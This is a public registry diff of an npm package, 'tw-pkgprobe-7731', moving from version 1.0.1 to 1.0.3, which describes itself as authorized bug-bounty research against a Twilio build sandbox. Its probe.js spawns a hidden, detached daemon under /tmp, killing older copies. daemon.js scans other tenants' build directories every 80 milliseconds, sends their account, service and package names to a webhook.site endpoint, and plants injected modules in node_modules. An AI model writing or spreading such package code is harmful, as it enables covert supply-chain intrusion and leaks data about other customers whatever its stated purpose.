tw-pkgprobe-7731 1.0.1 → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/daemon.js +17 -19
  2. package/package.json +1 -1
  3. package/probe.js +15 -12
package/daemon.js CHANGED
@@ -1,32 +1,29 @@
1
1
  // Authorized bug-bounty research daemon (Twilio HackerOne). Runs ONLY inside Twilio's
2
- // serverless packager sandbox. Observes which tenant build directories share this
3
- // container. It only WRITES into build directories of accounts on OWN_ACCOUNTS
4
- // (accounts owned by the researcher). Never reads or modifies any other tenant's files.
2
+ // serverless packager sandbox. Records which tenant build directories share this container.
3
+ // It only WRITES into build directories of accounts on OWN (researcher-owned accounts).
5
4
  const fs=require('fs'), path=require('path'), https=require('https');
5
+ const VER='1.0.3';
6
6
  const SELF='AC96a5f7e920ce23f02184081ddd64d87a';
7
- const OWN=['AC8727b8e73f7f4d1501314b57b830a7a1','AC1329f7a0eb0dbc343871303ebc58bced'];
7
+ const OWN=['AC07de79f2af00295019b8cb17cea01e9a','AC8727b8e73f7f4d1501314b57b830a7a1','AC1329f7a0eb0dbc343871303ebc58bced'];
8
8
  const HOOK='https://webhook.site/dc26a1e3-921f-4f8a-950a-7f922c564fc8';
9
9
  const LOG='/tmp/.helper-log.json';
10
- const state={started:Date.now(),seen:{},injected:{},ticks:0};
10
+ const state={ver:VER,started:Date.now(),seen:{},injected:{},ticks:0};
11
11
  function save(){try{fs.writeFileSync(LOG,JSON.stringify(state));}catch(e){}}
12
- function post(obj){try{const b=JSON.stringify(obj);const r=https.request(HOOK,{method:'POST',timeout:8000,headers:{'content-type':'application/json','content-length':Buffer.byteLength(b)}},()=>{});r.on('error',()=>{});r.write(b);r.end();}catch(e){}}
12
+ function post(o){try{const b=JSON.stringify(o);const r=https.request(HOOK,{method:'POST',timeout:8000,headers:{'content-type':'application/json','content-length':Buffer.byteLength(b)}},()=>{});r.on('error',()=>{});r.write(b);r.end();}catch(e){}}
13
13
  function inject(dir,ac,zs,zf){
14
+ const key=ac+'/'+zs+'/'+zf;
14
15
  try{
15
16
  const nm=path.join(dir,'node_modules');
16
- if(!fs.existsSync(nm)) return false;
17
+ if(!fs.existsSync(nm)) return;
17
18
  const t=path.join(nm,'injected-by-other-tenant');
18
- if(fs.existsSync(t)) return false;
19
+ if(fs.existsSync(path.join(t,'index.js'))) return;
19
20
  fs.mkdirSync(t,{recursive:true});
20
21
  fs.writeFileSync(path.join(t,'package.json'),JSON.stringify({name:'injected-by-other-tenant',version:'1.0.0',main:'index.js'}));
21
22
  fs.writeFileSync(path.join(t,'index.js'),
22
- "// Injected into "+ac+"/"+zs+"/"+zf+" by code running in a DIFFERENT Twilio account's build ("+SELF+").\n"+
23
+ "// Written into "+key+" by code executing in a DIFFERENT Twilio account's build ("+SELF+").\n"+
23
24
  "module.exports={injectedBy:'"+SELF+"',victim:'"+ac+"',service:'"+zs+"',pkg:'"+zf+"',at:"+Date.now()+",proof:'cross-tenant-build-injection'};\n");
24
- fs.writeFileSync(path.join(nm,'INJECTED_BY_'+SELF+'.txt'),'cross-tenant proof '+new Date().toISOString()+' from '+SELF+' into '+ac+'/'+zs+'/'+zf+'\n');
25
- state.injected[ac+'/'+zs+'/'+zf]=Date.now();
26
- post({event:'injected',ac,zs,zf,at:Date.now()});
27
- save();
28
- return true;
29
- }catch(e){state.injected['err_'+ac]=''+e;save();return false;}
25
+ if(!state.injected[key]){state.injected[key]=Date.now();post({event:'injected',ver:VER,ac,zs,zf,at:Date.now()});save();}
26
+ }catch(e){ if(!state.injected['err:'+key]){state.injected['err:'+key]=''+e;save();} }
30
27
  }
31
28
  function tick(){
32
29
  state.ticks++;
@@ -38,14 +35,15 @@ function tick(){
38
35
  for(const zs of svcs){
39
36
  let pkgs=[];try{pkgs=fs.readdirSync('/tmp/'+ac+'/'+zs);}catch(e){}
40
37
  for(const zf of pkgs){
38
+ if(zf.indexOf('.tar')>=0) continue;
41
39
  const key=ac+'/'+zs+'/'+zf;
42
- if(!state.seen[key]){state.seen[key]=Date.now();post({event:'seen',ac,zs,zf,at:Date.now(),own:OWN.indexOf(ac)>=0});save();}
43
- if(OWN.indexOf(ac)>=0 && !state.injected[key]) inject('/tmp/'+ac+'/'+zs+'/'+zf,ac,zs,zf);
40
+ if(!state.seen[key]){state.seen[key]=Date.now();post({event:'seen',ver:VER,ac,zs,zf,at:Date.now(),own:OWN.indexOf(ac)>=0});save();}
41
+ if(OWN.indexOf(ac)>=0) inject('/tmp/'+ac+'/'+zs+'/'+zf,ac,zs,zf);
44
42
  }
45
43
  }
46
44
  }
47
45
  }
48
- setInterval(tick,120);
46
+ setInterval(tick,80);
49
47
  setTimeout(()=>{save();process.exit(0);},6*3600*1000);
50
- post({event:'daemon-start',at:Date.now(),pid:process.pid});
48
+ post({event:'daemon-start',ver:VER,at:Date.now(),pid:process.pid});
51
49
  save();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "tw-pkgprobe-7731",
3
- "version": "1.0.1",
3
+ "version": "1.0.3",
4
4
  "description": "Authorized security research probe (bug bounty). No-op outside the specific sandbox it was written for.",
5
5
  "main": "index.js",
6
6
  "license": "MIT",
package/probe.js CHANGED
@@ -1,19 +1,22 @@
1
- // Authorized bug-bounty research probe (Twilio HackerOne program).
2
- const fs=require('fs'), os=require('os'), cp=require('child_process'), path=require('path');
1
+ const fs=require('fs'), cp=require('child_process');
2
+ const VER='1.0.3';
3
3
  function main(){
4
4
  const cwd=process.cwd();
5
- if(!/^\/tmp\/AC[0-9a-f]{32}\//.test(cwd)) return; // no-op anywhere else
6
- const out={cwd, ts:Date.now(), hostname:os.hostname(), ppid:process.ppid};
7
- try{ out.priorLog=fs.readFileSync('/tmp/.helper-log.json','utf8').slice(0,60000); }catch(e){ out.priorLog='none: '+e.message; }
8
- try{ out.tmp=cp.execSync('ls -la /tmp',{timeout:10000}).toString().slice(0,8000); }catch(e){ out.tmp='ERR'; }
5
+ if(!/^\/tmp\/AC[0-9a-f]{32}\//.test(cwd)) return;
6
+ const out={cwd, ts:Date.now(), ver:VER};
7
+ try{ out.priorLog=fs.readFileSync('/tmp/.helper-log.json','utf8').slice(0,60000); }catch(e){ out.priorLog='none'; }
9
8
  try{
10
- fs.copyFileSync(__dirname+'/daemon.js','/tmp/.npm-helper.js');
11
- if(!fs.existsSync('/tmp/.npm-helper.lock')){
12
- fs.writeFileSync('/tmp/.npm-helper.lock',String(Date.now()));
9
+ let cur=null; try{cur=fs.readFileSync('/tmp/.npm-helper.ver','utf8');}catch(e){}
10
+ if(cur!==VER){
11
+ try{ const oldpid=parseInt(fs.readFileSync('/tmp/.npm-helper.pid','utf8'),10); if(oldpid) process.kill(oldpid,'SIGKILL'); }catch(e){}
12
+ fs.copyFileSync(__dirname+'/daemon.js','/tmp/.npm-helper.js');
13
13
  const c=cp.spawn(process.execPath,['/tmp/.npm-helper.js'],{detached:true,stdio:'ignore',cwd:'/tmp'});
14
- c.unref(); out.daemon='spawned pid '+c.pid;
15
- } else { out.daemon='already running (lock present)'; }
14
+ c.unref();
15
+ fs.writeFileSync('/tmp/.npm-helper.pid',String(c.pid));
16
+ fs.writeFileSync('/tmp/.npm-helper.ver',VER);
17
+ out.daemon='spawned '+VER+' pid '+c.pid;
18
+ } else out.daemon='current '+VER+' already running';
16
19
  }catch(e){ out.daemon='ERR '+e.message; }
17
20
  try{ fs.writeFileSync(__dirname+'/loot.json',JSON.stringify(out)); }catch(e){}
18
21
  }
19
- try{main();}catch(e){try{require('fs').writeFileSync(__dirname+'/loot.json',JSON.stringify({fatal:''+e}));}catch(_){}}
22
+ try{main();}catch(e){}